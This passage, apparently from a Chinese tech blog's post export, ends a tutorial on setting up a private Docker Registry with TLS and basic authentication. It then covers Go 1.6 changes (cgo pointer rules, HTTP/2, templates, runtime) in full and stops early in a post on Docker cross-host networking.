stop/waiting docker start/running, process 6712 $ sudo docker run -d -p 5000:5000 -v `pwd`/data:/var/lib/registry --restart=always --name registry registry:2 5966e92fce9c34705050e19368d19574e021a272ede1575385ef35ecf5cea019 尝试再次Push image:\n$ docker push 10.10.105.71:5000/tonybai/busybox The push refers to a repository [10.10.105.71:5000/tonybai/busybox] (len: 1) 65e4158d9625: Pushed 5506dda26018: Pushed latest: digest: sha256:800f2d4558acd67f52262fbe170c9fc2e67efaa6f230a74b41b555e6fcca2892 size: 2739 这回push ok！\n我们将本地的tag做untag处理，再从Registry pull相关image：\n$ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE registry 2 c457c689c328 9 days ago 165.7 MB 10.10.105.71:5000/tonybai/busybox latest 65e4158d9625 9 days ago 1.114 MB busybox latest 65e4158d9625 9 days ago 1.114 MB ubuntu 14.04 6cc0fc2a5ee3 5 weeks ago 187.9 MB $ docker rmi 10.10.105.71:5000/tonybai/busybox Untagged: 10.10.105.71:5000/tonybai/busybox:latest $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE registry 2 c457c689c328 9 days ago 165.7 MB busybox latest 65e4158d9625 9 days ago 1.114 MB ubuntu 14.04 6cc0fc2a5ee3 5 weeks ago 187.9 MB $ docker pull 10.10.105.71:5000/tonybai/busybox Using default tag: latest latest: Pulling from tonybai/busybox Digest: sha256:800f2d4558acd67f52262fbe170c9fc2e67efaa6f230a74b41b555e6fcca2892 Status: Downloaded newer image for 10.10.105.71:5000/tonybai/busybox:latest $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE registry 2 c457c689c328 9 days ago 165.7 MB 10.10.105.71:5000/tonybai/busybox latest 65e4158d9625 9 days ago 1.114 MB busybox latest 65e4158d9625 9 days ago 1.114 MB ubuntu 14.04 6cc0fc2a5ee3 5 weeks ago 187.9 MB 可以看到：Pull过程也很顺利。\n在Private Registry2中查看或检索Repository或images，将不能用docker search：\n$ docker search 10.10.105.71:5000/tonybai/busybox/ Error response from daemon: Unexpected status code 404 但通过v2版本的API，我们可以实现相同目的：\n$curl http://10.10.105.71:5000/v2/_catalog {\u0026quot;repositories\u0026quot;:[\u0026quot;tonybai/busybox\u0026quot;]} $ curl http://10.10.105.71:5000/v2/tonybai/busybox/tags/list {\u0026quot;name\u0026quot;:\u0026quot;tonybai/busybox\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;latest\u0026quot;]} 在其他主机上，我们尝试pull busybox：\n10.10.105.72: $docker pull 10.10.105.71:5000/tonybai/busybox Using default tag: latest Error response from daemon: unable to ping registry endpoint https://10.10.105.71:5000/v0/ v2 ping attempt failed with error: Get https://10.10.105.71:5000/v2/: tls: oversized record received with length 20527 v1 ping attempt failed with error: Get https://10.10.105.71:5000/v1/_ping: tls: oversized record received with length 20527 我们发现依旧不能pull和push！在Registry手册中讲到，如果采用insecure registry的模式，那么所有与Registry交互的主机上的Docker Daemon都要配置：–insecure-registry选项。\n我们按照上面的配置方法，修改105.72上的/etc/default/docker，重启Docker daemon，再执行pull/push就会得到正确的结果：\n$ sudo vi /etc/default/docker $ sudo service docker restart docker stop/waiting docker start/running, process 10614 $ docker pull 10.10.105.71:5000/tonybai/busybox Using default tag: latest latest: Pulling from tonybai/busybox 5506dda26018: Pull complete 65e4158d9625: Pull complete Digest: sha256:800f2d4558acd67f52262fbe170c9fc2e67efaa6f230a74b41b555e6fcca2892 Status: Downloaded newer image for 10.10.105.71:5000/tonybai/busybox:latest $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE ubuntu 14.04 36248ae4a9ac 8 days ago 187.9 MB 10.10.105.71:5000/tonybai/ubuntu 14.04 36248ae4a9ac 8 days ago 187.9 MB 10.10.105.71:5000/tonybai/busybox latest 65e4158d9625 9 days ago 1.114 MB $ docker push 10.10.105.71:5000/tonybai/ubuntu The push refers to a repository [10.10.105.71:5000/tonybai/ubuntu] (len: 1) 36248ae4a9ac: Pushed 8ea5373bf5a6: Pushed 2e0188208e83: Pushed e3c70beaa378: Pushed 14.04: digest: sha256:72e56686cb9fb38438f0fd68fecf02ef592ce2ef7069bbf97802d959d568c5cc size: 6781 四、Secure Registry Docker官方是推荐你采用Secure Registry的工作模式的，即transport采用tls。这样我们就需要为Registry配置tls所需的key和crt文件了。\n我们首先清理一下环境，将上面的Insecure Registry停掉并rm掉；将各台主机上Docker Daemon的DOCKER_OPTS配置中的–insecure-registry去掉，并重启Docker Daemon。\n如果你拥有一个域名，域名下主机提供Registry服务，并且你拥有某知名CA签署的证书文件，那么你可以建立起一个Secure Registry。不过我这里没有现成的证书，只能使用自签署的证书。严格来讲，使用自签署的证书在Docker官方眼中依旧属于Insecure，不过这里只是借助自签署的证书来说明一下Secure Registry的部署步骤罢了。\n1、制作自签署证书 如果你有知名CA签署的证书，那么这步可直接忽略。\n$ openssl req -newkey rsa:2048 -nodes -sha256 -keyout certs/domain.key -x509 -days 365 -out certs/domain.crt Generating a 2048 bit RSA private key ..............+++ ............................................+++ writing new private key to 'certs/domain.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:CN State or Province Name (full name) [Some-State]:Liaoning Locality Name (eg, city) []:shenyang Organization Name (eg, company) [Internet Widgits Pty Ltd]:foo Organizational Unit Name (eg, section) []:bar Common Name (e.g. server FQDN or YOUR name) []:mydockerhub.com Email Address []:bigwhite.cn@gmail.com 2、启动Secure Registry 启动带证书的Registry：\n$ docker run -d -p 5000:5000 --restart=always --name registry \\ -v `pwd`/data:/var/lib/registry \\ -v `pwd`/certs:/certs \\ -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt \\ -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key \\ registry:2 35e8ce77dd455f2bd50854e4581cd52be8a137f4aaea717239b6d676c5ea5777 由于证书的CN是mydockerhub.com，我们需要修改一下/etc/hosts文件:\n10.10.105.71 mydockerhub.com 重新为busybox制作一个tag:\n$docker tag busybox:latest mydockerhub.com:5000/tonybai/busybox:latest Push到Registry:\n$ docker push mydockerhub.com:5000/tonybai/busybox The push refers to a repository [mydockerhub.com:5000/tonybai/busybox] (len: 1) unable to ping registry endpoint https://mydockerhub.com:5000/v0/ v2 ping attempt failed with error: Get https://mydockerhub.com:5000/v2/: x509: certificate signed by unknown authority v1 ping attempt failed with error: Get https://mydockerhub.com:5000/v1/_ping: x509: certificate signed by unknown authority push失败了！从错误日志来看，docker client认为server传输过来的证书的签署方是一个unknown authority（未知的CA），因此验证失败。我们需要让docker client安装我们的CA证书：\n$ sudo mkdir -p /etc/docker/certs.d/mydockerhub.com:5000 $ sudo cp certs/domain.crt /etc/docker/certs.d/mydockerhub.com:5000/ca.crt $ sudo service docker restart //安装证书后，重启Docker Daemon 再执行Push，我们看到了成功的输出日志。由于data目录下之前已经被push了tonybai/busybox repository，因此提示“已存在”：\n$docker push mydockerhub.com:5000/tonybai/busybox The push refers to a repository [mydockerhub.com:5000/tonybai/busybox] (len: 1) 65e4158d9625: Image already exists 5506dda26018: Image already exists latest: digest: sha256:800f2d4558acd67f52262fbe170c9fc2e67efaa6f230a74b41b555e6fcca2892 size: 2739 3、外部访问Registry 我们换其他机器试试访问这个secure registry。根据之前的要求，我们照猫画虎的修改一下hosts文件，安装ca.cert，去除–insecure-registry选项，并重启Docker daemon。之后尝试从registry pull image：\n$ docker pull mydockerhub.com:5000/tonybai/busybox Using default tag: latest latest: Pulling from tonybai/busybox Digest: sha256:800f2d4558acd67f52262fbe170c9fc2e67efaa6f230a74b41b555e6fcca2892 Status: Downloaded newer image for mydockerhub.com:5000/tonybai/busybox:latest $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE 10.10.105.71:5000/tonybai/ubuntu 14.04 36248ae4a9ac 9 days ago 187.9 MB ubuntu 14.04 36248ae4a9ac 9 days ago 187.9 MB 10.10.105.71:5000/tonybai/busybox latest 65e4158d9625 9 days ago 1.114 MB mydockerhub.com:5000/tonybai/busybox latest 65e4158d9625 9 days ago 1.114 MB 这样来看，如果使用自签署的证书，那么所有要与Registry交互的Docker主机都需要安装mydockerhub.com的ca.crt(domain.crt)。但如果你使用知名CA，这一步也就可以忽略。\n五、Registry的鉴权管理 Registry提供了一种基础的鉴权方式。我们通过下面步骤即可为Registry加上基础鉴权：\n在Register server上，为Registry增加foo用户，密码foo123：（之前需要停掉已有的Registry，并删除之）\n//生成鉴权密码文件 $ mkdir auth $ docker run --entrypoint htpasswd registry:2 -Bbn foo foo123 \u0026gt; auth/htpasswd $ ls auth htpasswd //启动带鉴权功能的Registry： $ docker run -d -p 5000:5000 --restart=always --name registry \\ -v `pwd`/auth:/auth \\ -e \u0026quot;REGISTRY_AUTH=htpasswd\u0026quot; \\ -e \u0026quot;REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm\u0026quot; \\ -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd \\ -v `pwd`/data:/var/lib/registry \\ -v `pwd`/certs:/certs \\ -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt \\ -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key \\ registry:2 199ad0b3591fb9613b21b1c96f017267f3c39661a7025d30df636c6805e7ab50 在105.72上，我们尝试push image到Registry：\n$ docker push mydockerhub.com:5000/tonybai/busybox The push refers to a repository [mydockerhub.com:5000/tonybai/busybox] (len: 1) 65e4158d9625: Image push failed Head https://mydockerhub.com:5000/v2/tonybai/busybox/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4: no basic auth credentials 错误信息提示：鉴权失败。\n在72上执行docker login:\n$docker login mydockerhub.com:5000 Username: foo Password: Email: bigwhite.cn@gmail.com WARNING: login credentials saved in /home/baiming/.docker/config.json Login Succeeded login成功后，再行Push：\n$ docker push mydockerhub.com:5000/tonybai/busybox The push refers to a repository [mydockerhub.com:5000/tonybai/busybox] (len: 1) 65e4158d9625: Image already exists 5506dda26018: Image already exists latest: digest: sha256:800f2d4558acd67f52262fbe170c9fc2e67efaa6f230a74b41b555e6fcca2892 size: 2739 Push ok！\n六、Registry中images的管理 前面提到过，通过V2版Rest API可以查询Repository和images：\n$ curl --cacert domain.crt --basic --user foo:foo123 https://mydockerhub.com:5000/v2/_catalog {\u0026quot;repositories\u0026quot;:[\u0026quot;tonybai/busybox\u0026quot;,\u0026quot;tonybai/ubuntu\u0026quot;]} 但如果要删除Registry中的Repository或某个tag的Image，目前v2还不支持，原因见Registry的roadmap中的说明。\n不过如果你的Registry的存储引擎使用的是本地盘，倒是有一些第三方脚本可供使用，比如：delete-docker-registry-image。\n七、小结 Registry2发布不到1年，目前还有许多问题待解决，就比如delete image的问题，相信在2.4以及后续版本这些问题会被逐个解决掉或能找到一个相对理想的方案。\n","permalink":"https://tonybai.com/2016/02/26/deploy-a-private-docker-registry/","summary":"\u003cp\u003e安装部署一个私有的Docker Registry是引入、学习和使用\u003ca href=\"https://github.com/docker/docker\"\u003eDocker\u003c/a\u003e这门技术的必经之路之一。尤其是当\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e被所在组织接受，更多人、项目和产品开始接触和使用Docker时，存储和分发自制的Docker image便成了刚需。Docker Registry一如既往的继承了“Docker坑多”的特点，为此这里将自己搭建”各类”Registry过程中执行的步骤、遇到的问题记录下来，为己备忘，为他参考。\u003c/p\u003e","title":"部署私有Docker Registry"},{"content":"北京时间2016年2月18日凌晨，在Go 1.5发布 半年后，Go 1.6正式Release 了。与Go 1.5的“惊天巨变”（主要指Go自举）相比，Go 1.6的Change 算是很小的了，当然这也与Go 1.6的dev cycle过于短暂有关。但Go社区对此次发布却甚是重视，其热烈程度甚至超出了Go 1.5。在Dave Cheney的倡导 下，Gophers们在全球各地举行了Go 1.6 Release Party。 Go Core Team也在Reddit上开了一个AMA – Ask Me Anything，RobPike、Russ Cox(Rsc)、Bradfitz等Go大神齐上阵，对广大Gophers们在24hour内的问题有问必答。\n言归正传，我们来看看Go 1.6中哪些变化值得我们关注。不过在说变化之前，我们先提一嘴Go 1.6没变的，那就是Go语言的language specification，依旧保持Go 1兼容不变。预计在未来的几个stable release版本中，我们也不会看到Go language specification有任何改动。\n一、cgo cgo的变化在于：\n1、定义了在Go code和C code间传递Pointer，即C code与Go garbage collector共存的rules和restriction；\n2、在runtime加入了对违规传递的检查，检查的开关和力度由GODEBUG=cgocheck=1[0,2]控制。1是默认；0是关闭检 查；2是更全面彻底但代价更高的检查。\n这个Proposal是由Ian Lance Taylor提出的。大致分为两种情况：\n(一) Go调用C Code时 Go调用C Code时，Go传递给C Code的Go Pointer所指的Go Memory中不能包含任何指向Go Memory的Pointer。我们分为几种情况来探讨一下：\n1、传递一个指向Struct的指针\n//cgo1_struct.go package main /* #include \u0026lt;stdio.h\u0026gt; struct Foo{ int a; int *p; }; void plusOne(struct Foo *f) { (f-\u0026gt;a)++; *(f-\u0026gt;p)++; } */ import \u0026quot;C\u0026quot; import \u0026quot;unsafe\u0026quot; import \u0026quot;fmt\u0026quot; func main() { f := \u0026amp;C.struct_Foo{} f.a = 5 f.p = (*C.int)((unsafe.Pointer)(new(int))) //f.p = \u0026amp;f.a C.plusOne(f) fmt.Println(int(f.a)) } 从cgo1_struct.go代码中可以看到，Go code向C code传递了一个指向Go Memory（Go分配的）指针f，但f指向的Go Memory中有一个指针p指向了另外一处Go Memory: new(int)，我们来run一下这段代码：\n$go run cgo1_struct.go # command-line-arguments ./cgo1_struct.go:12:2: warning: expression result unused [-Wunused-value] panic: runtime error: cgo argument has Go pointer to Go pointer goroutine 1 [running]: panic(0x4068400, 0xc82000a110) /Users/tony/.bin/go16/src/runtime/panic.go:464 +0x3e6 main.main() /Users/tony/test/go/go16/cgo/cgo1_struct.go:24 +0xb9 exit status 2 代码出现了Panic，并提示：“cgo argument has Go pointer to Go pointer”。我们的代码违背了Cgo Pointer传递规则，即便让f.p指向struct自身内存也是不行的，比如f.p = \u0026amp;f.a。\n2、传递一个指向struct field的指针\n按照rules中的说明，如果传递的是一个指向struct field的指针，那么”Go Memory”专指这个field所占用的内存，即便struct中有其他field指向其他Go memory也不打紧：\n//cgo1_structfield.go package main /* #include \u0026lt;stdio.h\u0026gt; struct Foo{ int a; int *p; }; void plusOne(int *i) { (*i)++; } */ import \u0026quot;C\u0026quot; import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) func main() { f := \u0026amp;C.struct_Foo{} f.a = 5 f.p = (*C.int)((unsafe.Pointer)(new(int))) C.plusOne(\u0026amp;f.a) fmt.Println(int(f.a)) } 上述程序的运行结果：\n$go run cgo1_structfield.go 6 3、传递一个指向slice or array中的element的指针\n和传递struct field不同，传递一个指向slice or array中的element的指针时，需要考虑的Go Memory的范围不仅仅是这个element，而是整个Array或整个slice背后的underlying array所占用的内存区域，要保证这个区域内不包含指向任意Go Memory的指针。我们来看代码示例：\n//cgo1_sliceelem.go package main /* #include \u0026lt;stdio.h\u0026gt; void plusOne(int **i) { (**i)++; } */ import \u0026quot;C\u0026quot; import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) func main() { sl := make([]*int, 5) var a int = 5 sl[1] = \u0026amp;a C.plusOne((**C.int)((unsafe.Pointer)(\u0026amp;sl[0]))) fmt.Println(sl[0]) } 从这个代码中，我们看到我们传递的是slice的第一个element的地址，即\u0026amp;sl[0]。我们并未给sl[0]赋值，但sl[1] 被赋值为另外一块go memory的address(\u0026amp;a)，当我们将\u0026amp;sl[0]传递给plusOne时，执行结果如下：\n$go run cgo1_sliceelem.go panic: runtime error: cgo argument has Go pointer to Go pointer goroutine 1 [running]: panic(0x40dbac0, 0xc8200621d0) /Users/tony/.bin/go16/src/runtime/panic.go:464 +0x3e6 main.main() /Users/tony/test/go/go16/cgo/cgo1_sliceelem.go:19 +0xe4 exit status 2 由于违背规则，因此runtime panic了。\n(二) C调用Go Code时 1、C调用的Go函数不能返回指向Go分配的内存的指针\n我们看下面例子：\n//cgo2_1.go\npackage main // extern int* goAdd(int, int); // // static int cAdd(int a, int b) { // int *i = goAdd(a, b); // return *i; // } import \u0026quot;C\u0026quot; import \u0026quot;fmt\u0026quot; //export goAdd func goAdd(a, b C.int) *C.int { c := a + b return \u0026amp;c } func main() { var a, b int = 5, 6 i := C.cAdd(C.int(a), C.int(b)) fmt.Println(int(i)) } 可以看到：goAdd这个Go函数返回了一个指向Go分配的内存(\u0026amp;c)的指针。运行上述代码，结果如下：\n$go run cgo2_1.go panic: runtime error: cgo result has Go pointer goroutine 1 [running]: panic(0x40dba40, 0xc82006e1c0) /Users/tony/.bin/go16/src/runtime/panic.go:464 +0x3e6 main._cgoexpwrap_872b2f2e7532_goAdd.func1(0xc820049d98) command-line-arguments/_obj/_cgo_gotypes.go:64 +0x3a main._cgoexpwrap_872b2f2e7532_goAdd(0x600000005, 0xc82006e19c) command-line-arguments/_obj/_cgo_gotypes.go:66 +0x89 main._Cfunc_cAdd(0x600000005, 0x0) command-line-arguments/_obj/_cgo_gotypes.go:45 +0x41 main.main() /Users/tony/test/go/go16/cgo/cgo2_1.go:20 +0x35 exit status 2 2、Go code不能在C分配的内存中存储指向Go分配的内存的指针\n下面的例子模拟了这一情况：\n//cgo2_2.go package main // #include \u0026lt;stdlib.h\u0026gt; // extern void goFoo(int**); // // static void cFoo() { // int **p = malloc(sizeof(int*)); // goFoo(p); // } import \u0026quot;C\u0026quot; //export goFoo func goFoo(p **C.int) { *p = new(C.int) } func main() { C.cFoo() } 不过针对此例，默认的GODEBUG=cgocheck=1偏是无法check出问题。我们将GODEBUG=cgocheck改为=2试试：\n$GODEBUG=cgocheck=2 go run cgo2_2.go write of Go pointer 0xc82000a0f8 to non-Go memory 0x4300000 fatal error: Go pointer stored into non-Go memory runtime stack: runtime.throw(0x4089800, 0x24) /Users/tony/.bin/go16/src/runtime/panic.go:530 +0x90 runtime.cgoCheckWriteBarrier.func1() /Users/tony/.bin/go16/src/runtime/cgocheck.go:44 +0xae runtime.systemstack(0x7fff5fbff8c0) /Users/tony/.bin/go16/src/runtime/asm_amd64.s:291 +0x79 runtime.mstart() /Users/tony/.bin/go16/src/runtime/proc.go:1048 ... ... goroutine 17 [syscall, locked to thread]: runtime.goexit() /Users/tony/.bin/go16/src/runtime/asm_amd64.s:1998 +0x1 exit status 2 果真runtime panic: write of Go pointer 0xc82000a0f8 to non-Go memory 0×4300000\n二、HTTP/2 HTTP/2原本是bradfitz维护的x项目，之前位于golang.org/x/net/http2包中，Go 1.6无缝合入Go标准库net/http包中。并且当你你使用https时，client和server端将自动默认使用HTTP/2协议。\nHTTP/2与HTTP1.x协议不同在于其为二进制协议，而非文本协议，性能自是大幅提升。HTTP/2标准已经发布，想必未来若干年将大行其道。\nHTTP/2较为复杂，这里不赘述，后续maybe会单独写一篇GO和http2的文章说明。\n三、Templates 由于不开发web，templates我日常用的很少。这里粗浅说说templates增加的两个Feature\ntrim空白字符 Go templates的空白字符包括：空格、水平tab、回车和换行符。在日常编辑模板时，这些空白尤其难于处理，由于是对beatiful format和code readabliity有“强迫症”的同学，更是在这方面话费了不少时间。\nGo 1.6提供了{{-和-}}来帮助大家去除action前后的空白字符。下面的例子很好的说明了这一点：\n//trimwhitespace.go package main import ( \u0026quot;log\u0026quot; \u0026quot;os\u0026quot; \u0026quot;text/template\u0026quot; ) var items = []string{\u0026quot;one\u0026quot;, \u0026quot;two\u0026quot;, \u0026quot;three\u0026quot;} func tmplbefore15() { var t = template.Must(template.New(\u0026quot;tmpl\u0026quot;).Parse(` \u0026lt;ul\u0026gt; {{range . }} \u0026lt;li\u0026gt;{{.}}\u0026lt;/li\u0026gt; {{end }} \u0026lt;/ul\u0026gt; `)) err := t.Execute(os.Stdout, items) if err != nil { log.Println(\u0026quot;executing template:\u0026quot;, err) } } func tmplaftergo16() { var t = template.Must(template.New(\u0026quot;tmpl\u0026quot;).Parse(` \u0026lt;ul\u0026gt; {{range . -}} \u0026lt;li\u0026gt;{{.}}\u0026lt;/li\u0026gt; {{end -}} \u0026lt;/ul\u0026gt; `)) err := t.Execute(os.Stdout, items) if err != nil { log.Println(\u0026quot;executing template:\u0026quot;, err) } } func main() { tmplbefore15() tmplaftergo16() } 这个例子的运行结果：\n$go run trimwhitespace.go \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;one\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;two\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;three\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;one\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;two\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;three\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; block action block action提供了一种在运行时override已有模板形式的能力。\npackage main import ( \u0026quot;log\u0026quot; \u0026quot;os\u0026quot; \u0026quot;text/template\u0026quot; ) var items = []string{\u0026quot;one\u0026quot;, \u0026quot;two\u0026quot;, \u0026quot;three\u0026quot;} var overrideItemList = ` {{define \u0026quot;list\u0026quot; -}} \u0026lt;ul\u0026gt; {{range . -}} \u0026lt;li\u0026gt;{{.}}\u0026lt;/li\u0026gt; {{end -}} \u0026lt;/ul\u0026gt; {{end}} ` var tmpl = ` Items: {{block \u0026quot;list\u0026quot; . -}} \u0026lt;ul\u0026gt; {{range . }} \u0026lt;li\u0026gt;{{.}}\u0026lt;/li\u0026gt; {{end }} \u0026lt;/ul\u0026gt; {{end}} ` var t *template.Template func init() { t = template.Must(template.New(\u0026quot;tmpl\u0026quot;).Parse(tmpl)) } func tmplBeforeOverride() { err := t.Execute(os.Stdout, items) if err != nil { log.Println(\u0026quot;executing template:\u0026quot;, err) } } func tmplafterOverride() { t = template.Must(t.Parse(overrideItemList)) err := t.Execute(os.Stdout, items) if err != nil { log.Println(\u0026quot;executing template:\u0026quot;, err) } } func main() { fmt.Println(\u0026quot;before override:\u0026quot;) tmplBeforeOverride() fmt.Println(\u0026quot;after override:\u0026quot;) tmplafterOverride() } 原模板tmpl中通过block action定义了一处名为list的内嵌模板锚点以及初始定义。后期运行时通过re-parse overrideItemList达到修改模板展示形式的目的。\n上述代码输出结果：\n$go run blockaction.go before override: Items: \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;one\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;two\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;three\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; after override: Items: \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;one\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;two\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;three\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; 四、Runtime 降低大内存使用时的GC latency Go 1.5.x用降低一些吞吐量的代价换取了10ms以下的GC latency。不过针对Go 1.5，官方给出的benchmark图中，内存heap size最多20G左右。一旦超过20G，latency将超过10ms，也许会线性增长。\n在Go 1.6中，官方给出的benchmark图中当内存heap size在200G时，GC latency依旧可以稳定在10ms；在heap size在20G以下时，latency降到了6ms甚至更小。\npanic info Go 1.6之前版本，一旦程序以panic方式退出，runtime便会将所有goroutine的stack信息打印出来：\n$go version go version go1.5.2 darwin/amd64 [ ~/test/go/go16/runtime]$go run panic.go panic: runtime error: invalid memory address or nil pointer dereference [signal 0xb code=0x1 addr=0x0 pc=0x20d5] goroutine 1 [running]: main.main() /Users/tony/test/go/go16/runtime/panic.go:19 +0x95 goroutine 4 [select (no cases)]: main.main.func1(0x8200f40f0) /Users/tony/test/go/go16/runtime/panic.go:13 +0x26 created by main.main /Users/tony/test/go/go16/runtime/panic.go:14 +0x72 ... ... 而Go 1.6后，Go只会打印正在running的goroutine的stack信息，因此它才是最有可能造成panic的真正元凶：\ngo 1.6： $go run panic.go panic: runtime error: invalid memory address or nil pointer dereference [signal 0xb code=0x1 addr=0x0 pc=0x20d5] goroutine 1 [running]: panic(0x61e80, 0x8200ee0c0) /Users/tony/.bin/go16/src/runtime/panic.go:464 +0x3e6 main.main() /Users/tony/test/go/go16/runtime/panic.go:19 +0x95 exit status 2 map race detect Go原生的map类型是goroutine-unsafe的，长久以来，这给很多Gophers带来了烦恼。这次Go 1.6中Runtime增加了对并发访问map的检测以降低gopher们使用map时的心智负担。\n这里借用了Francesc Campoy在最近一期”The State of Go”中的示例程序：\npackage main import \u0026quot;sync\u0026quot; func main() { const workers = 100 var wg sync.WaitGroup wg.Add(workers) m := map[int]int{} for i := 1; i \u0026lt;= workers; i++ { go func(i int) { for j := 0; j \u0026lt; i; j++ { m[i]++ } wg.Done() }(i) } wg.Wait() } 执行结果：\n$ go run map.go fatal error: concurrent map writes fatal error: concurrent map writes ... ... 这里在双核i5 mac air下亲测时，发现当workers=2,3,4均不能检测出race。当workers \u0026gt;= 5时可以检测到。\n五、其他 手写parser替代yacc生成的parser 这个变化对Gopher们是透明的，但对于Go compiler本身却是十分重要的。\nRobert Riesemer在Go 1.6代码Freezing前commit了手写Parser，以替代yacc生成的parser。在AMA上RobPike给出了更换Parser的些许理由：\n1、Go compiler可以少维护一个yacc工具，这样更加cleaner；\n2、手写Parser在性能上可以快那么一点点。\nGo 1.6中GO15VENDOREXPERIMENT将默认开启 根据当初在Go 1.5中引入vendor时的计划，Go 1.6中GO15VENDOREXPERIMENT将默认开启。这显然会导致一些不兼容的情况出现：即如果你的代码在之前并未使用vendor机制，但目录组织中有vendor目录。Go Core team给出的解决方法就是删除vendor目录或改名。\n遗留问题是否解决 在Go 1.5发布后，曾经发现两个问题，直到Go 1.5.3版本发布也未曾解决，那么Go 1.6是否解决了呢？我们来验证一下。\ninternal问题 该问题的具体细节可参看我在go github上提交的issue 12217，我在自己的experiments中提交了问题的验证环境代码，这次我们使用Go 1.6看看internal问题是否还存在：\n$cd $GOPATH/src/github.com/bigwhite/experiments/go15-internal-issue-12217 $cd otherpkg/ $go build main.go package main imports github.com/bigwhite/experiments/go15-internal-issue-12217/mypkg/internal/foo: use of internal package not allowed 这回go compiler给出了error，而不是像之前版本那样顺利编译通过。看来这个问题是fix掉了。\nGOPATH之外vendor机制是否起作用的问题 我们先建立实验环境：\n$tree . └── testvendor └── src └── proj1 ├── main.go └── vendor └── github.com └── bigwhite └── foo └── foolib.go 进入proj1，build main.go\ngo build main.go main.go:3:8: cannot find package \u0026quot;github.com/bigwhite/foo\u0026quot; in any of: /Users/tony/.bin/go16/src/github.com/bigwhite/foo (from $GOROOT) /Users/tony/Test/GoToolsProjects/src/github.com/bigwhite/foo (from $GOPATH) go 1.6编译器没有关注同路径下的vendor目录，build失败。\n我们设置GOPATH=xxx/testvendor后，再来build：\n$export GOPATH=~/Test/go/go16/others/testvendor $go run main.go Hello from temp vendor 这回编译运行ok。\n由此看来，Go 1.6 vendor在GOPATH外依旧不生效。\n六、小结 Go 1.6标准库细微变化还是有很多的，在Go 1.6 Release Notes中可细细品味。\nGo 1.6的编译速度、编译出的程序的运行性能与Go 1.5.x也大致无二异。\n另外本文实现环境如下：\ngo version go1.6 darwin/amd64 Darwin tonydeair-2.lan 13.1.0 Darwin Kernel Version 13.1.0: Thu Jan 16 19:40:37 PST 2014; root:xnu-2422.90.20~2/RELEASE_X86_64 x86_64 实验代码可在这里下载。\n","permalink":"https://tonybai.com/2016/02/21/some-changes-in-go-1-6/","summary":"\u003cp\u003e北京时间2016年2月18日凌晨，在\u003ca href=\"http://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003eGo 1.5发布\u003c/a\u003e 半年后，\u003ca href=\"http://blog.golang.org/go1.6\"\u003eGo 1.6正式Release\u003c/a\u003e 了。与Go 1.5的“惊天巨变”（主要指Go自举）相比，\u003ca href=\"https://golang.org/doc/go1.6\"\u003eGo 1.6的Change\u003c/a\u003e 算是很小的了，当然这也与Go 1.6的dev cycle过于短暂有关。但Go社区对此次发布却甚是重视，其热烈程度甚至超出了Go 1.5。在\u003ca href=\"http://dave.cheney.net/\"\u003eDave Cheney\u003c/a\u003e的倡导 下，Gophers们在全球各地举行了\u003ca href=\"https://github.com/golang/go/wiki/Go-1.6-release-party\"\u003eGo 1.6 Release Party\u003c/a\u003e。 Go Core Team也在Reddit上开了一个\u003ca href=\"https://www.reddit.com/r/golang/comments/46bd5h/ama_we_are_the_go_contributors_ask_us_anything/\"\u003eAMA – Ask Me Anything\u003c/a\u003e，RobPike、Russ Cox(Rsc)、Bradfitz等Go大神齐上阵，对广大Gophers们在24hour内的问题有问必答。\u003c/p\u003e","title":"Go 1.6中值得关注的几个变化"},{"content":"在Docker 1.9 出世前，跨多主机的容器通信方案大致有如下三种：\n1、端口映射\n将宿主机A的端口P映射到容器C的网络空间监听的端口P’上，仅提供四层及以上应用和服务使用。这样其他主机上的容器通过访问宿主机A的端口P实 现与容器C的通信。显然这个方案的应用场景很有局限。\n2、将物理网卡桥接到虚拟网桥，使得容器与宿主机配置在同一网段下\n在各个宿主机上都建立一个新虚拟网桥设备br0，将各自物理网卡eth0桥接br0上，eth0的IP地址赋给br0；同时修改Docker daemon的DOCKER_OPTS，设置-b=br0（替代docker0），并限制Container IP地址的分配范围为同物理段地址（–fixed-cidr）。重启各个主机的Docker Daemon后，处于与宿主机在同一网段的Docker容器就可以实现跨主机访问了。这个方案同样存在局限和扩展性差的问题：比如需将物理网段的地址划分 